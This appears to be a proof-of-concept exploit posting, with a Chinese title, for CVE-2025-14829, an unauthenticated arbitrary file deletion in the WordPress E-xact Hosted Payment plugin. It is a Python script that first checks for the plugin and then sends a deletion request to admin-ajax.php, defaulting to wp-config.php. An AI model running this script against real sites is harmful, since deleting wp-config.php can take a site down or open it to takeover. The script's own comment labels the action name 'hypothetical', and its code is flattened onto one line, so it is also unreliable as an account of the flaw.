CVE-2025-14829 WordPress E-xact Hosted Payment插件任意文件删除漏洞

import requests import sys # CVE-2025-14829 PoC - WordPress E-xact Hosted Payment Plugin Arbitrary File Deletion # This PoC demonstrates how an unauthenticated attacker can delete arbitrary files TARGET_URL = "http://target-wordpress-site.com" # Target file to delete (can be any file on the server) FILE_TO_DELETE = "wp-config.php" def delete_arbitrary_file(target_url, file_path): """ Delete arbitrary file via vulnerable E-xact Hosted Payment plugin """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request # The plugin accepts file path without proper validation data = { "action": "exact_delete_file", # Hypothetical action name "file_path": file_path, # Arbitrary file path } try: response = requests.post(ajax_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] File deletion request sent: {file_path}") print(f"[*] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_plugin_installed(target_url): """ Check if E-xact Hosted Payment plugin is installed """ plugin_url = f"{target_url}/wp-content/plugins/e-xact-hosted-payment/readme.txt" try: response = requests.get(plugin_url, timeout=10) if response.status_code == 200 and "E-xact" in response.text: print("[+] E-xact Hosted Payment plugin is installed") return True except: pass print("[-] Plugin not found or target is not WordPress") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] else: target_url = TARGET_URL print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-14829 PoC - Arbitrary File Deletion\n") # Check if plugin is installed if not check_plugin_installed(target_url): print("[!] Exiting...") sys.exit(0) # Delete target file print(f"[*] Attempting to delete: {FILE_TO_DELETE}") delete_arbitrary_file(target_url, FILE_TO_DELETE)